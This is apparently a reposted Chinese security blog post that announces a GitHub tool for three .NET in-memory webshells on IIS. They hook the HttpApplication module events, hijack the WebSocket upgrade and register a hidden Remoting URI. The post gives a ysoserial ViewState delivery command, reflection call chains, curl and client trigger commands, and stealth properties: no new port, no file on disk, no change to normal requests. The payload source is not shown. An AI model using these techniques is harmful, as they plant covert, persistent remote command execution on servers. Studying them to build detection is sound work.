.NET 新内存马:WebSocket 升级点、Remoting URI 表与模块事件注入
原创 侠盗鲁平 2026-09-29 08:00 日本

.NET 新内存马:WebSocket 升级点、Remoting URI 表与模块事件注入
GitHub: https://github.com/lupingQAQ/dotnet-memshell
WeChat: IndexSec
获取
git clone https://github.com/lupingQAQ/dotnet-memshellpayloads/:三个载荷源码,单文件.cstools/RemotingShellClient.cs:#3 的客户端tools/Loader.aspx:本地测试加载器,别放生产README.md/README.zh-CN.md:完整调用链、权限、检测面投递:
ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "payloads\...cs;System.dll;System.Web.dll" --decryptionalg=AES ...
0x00 发现了什么
三个能做内存马的插入点:
HTTP→WebSocket 升级点——握手请求处理到
AcquireRequestState时调AcceptWebSocketRequest,连接从请求管线里出来,变成全双工通道。之后的命令收发完全不走 HTTP 请求响应那套。Remoting 的 AppDomain 全局 URI 表——
RemotingConfiguration.RegisterWellKnownServiceType注册的 URI 不绑定 channel,业务在跑 Remoting 服务端通道时,往表里加一个 URI,shell 就和业务对象共用同一条通道、同一个端口。HttpApplication模块事件——通过GetModuleContainer拿模块容器,反射构造SyncEventExecutionStep,AddEvent挂到AcquireRequestState通知上。
三个都满足:不新增监听端口、不改 web.config、不落文件、对无标记请求零影响。全部在 Windows 11 + IIS 10 集成管线 + .NET Framework 4.8 上实测通过。
0x01 三个位置的调用栈
HTTP.sys / IIS
└─ ASP.NET 请求管线
├─ module 事件
│ HttpRuntime.ProcessRequest
│ → HttpApplication.ResumeSteps
│ → ModuleContainer 执行各通知的 IExecutionStep
│ ← #1 挂在这里(AcquireRequestState)
├─ 路由 / 虚拟路径 / handler ...
└─ 协议升级点
请求带 Upgrade: websocket + Sec-WebSocket-Protocol: msh
→ AcquireRequestState 阶段判断握手
→ HttpContext.AcceptWebSocketRequest(Duplex, options)
→ 101 之后连接归 Duplex 循环独占,管线到此为止
← #2 挂在这里
进程内协议栈
└─ 业务注册的 Remoting 服务端通道(TcpChannel 等)
RemotingConfiguration 的全局 URI 表
→ RegisterWellKnownServiceType(typeof(Svc), "msh", Singleton)
→ 客户端 tcp://host:port/msh → BinaryFormatterSink → Svc.Exec(cmd)
← #3 挂在这里#1 的完整链路:投递后反射遍历 HttpApplicationFactory._theApplicationFactory._freeList,对每个 HttpApplication 实例执行——集成管线:GetModuleContainer("Session") 取容器 → 构造 SyncEventExecutionStep(app, OnRequest) → container.AddEvent(RequestNotification.AcquireRequestState, false, step);经典管线:追加到 ApplicationStepManager._execSteps 末尾。之后每个请求在 AcquireRequestState 通知处进入 OnRequest,查 MSH-Cmd 头,没有就 return,业务照常走完。
#2 挂载方式与 #1 相同(同一个锚点),处理函数里判断 IsWebSocketRequest 且子协议含 msh,是则调 AcceptWebSocketRequest(Duplex, AspNetWebSocketOptions{SubProtocol="msh"})。之后 Duplex 循环:ReceiveAsync 收文本帧当命令 → cmd.exe /c → SendAsync 发结果,直到 Close 帧。
#3 最短:挂 AppDomain.AssemblyResolve(把字节加载的载荷程序集指回自身),检查 ChannelServices.RegisteredChannels 里有 IChannelReceiver,然后 RegisterWellKnownServiceType(typeof(E.Svc), "msh", Singleton)。完事。
0x02 效果
实测环境:Windows 11 + IIS 10 集成管线 + .NET Framework 4.8,应用池默认身份。
项 | 触发 | 结果 |
|---|---|---|
curl -H "MSH-Cmd: whoami" http://target/Default.aspx | 返回 | |
#1 自检 | curl -H "MSH-Cmd: __verify__" ... | 返回 |
WebSocket 握手子协议 | 101 后全双工回显,正常 Close | |
RemotingShellClient.exe tcp://target:7700/msh whoami | 返回 | |
#3 共存 | 业务客户端调 | 返回 15;shell 注入前后业务调用无差别 |
隔离 | 普通请求、无关请求头、业务自己的 WebSocket(不带 | 全部原样,不被接管 |
#3 的共存值得单独说:shell 的 /msh 和业务的 /calc 在同一条 TcpChannel、同一个端口上,互相看不见对方,业务客户端不需要任何改动。
0x03 实现时绕不开的框架行为
行为 | 后果 |
|---|---|
HttpApplication实例池化 | 只挂当前实例,后续请求大部分打不中;必须遍历 |
集成管线事件派发 | 同一容器上 |
AcceptWebSocketRequest后管线继续 | 页面 handler 照常执行并写响应,连接被收尾( |
RemapHandler时机限制 | 只能在 |
Remoting formatter 按程序集名解析 | 字节加载的载荷解析失败( |
经典管线 | 只能追加到末尾;插在当前游标之前, |
ysoserial ViewState 插件 | ActivitySurrogateSelectorFromFile 经 |
0x04 限制
#2 要求集成管线 + IIS WebSocket 特性已启用;经典或自托管管线下处理器捕获异常后按普通请求放行,站点无感但也不生效。
#3 要求业务在同一 AppDomain 内已有 Remoting 服务端通道;没有就什么都不做。
三种都驻留在应用池进程内,应用池回收即失效,需重新投递。
不新增端口,可达性等于业务端口的可达性。
投递前提是
machineKey已知或泄露(ViewState 反序列化入口的前提)。
0x05 免责声明
本项目仅用于合法的安全研究、教学与获得明确授权的渗透测试。
本文转载自微信公众号「Security丨Art」,查看原文。版权归原作者所有,如有侵权请联系删除。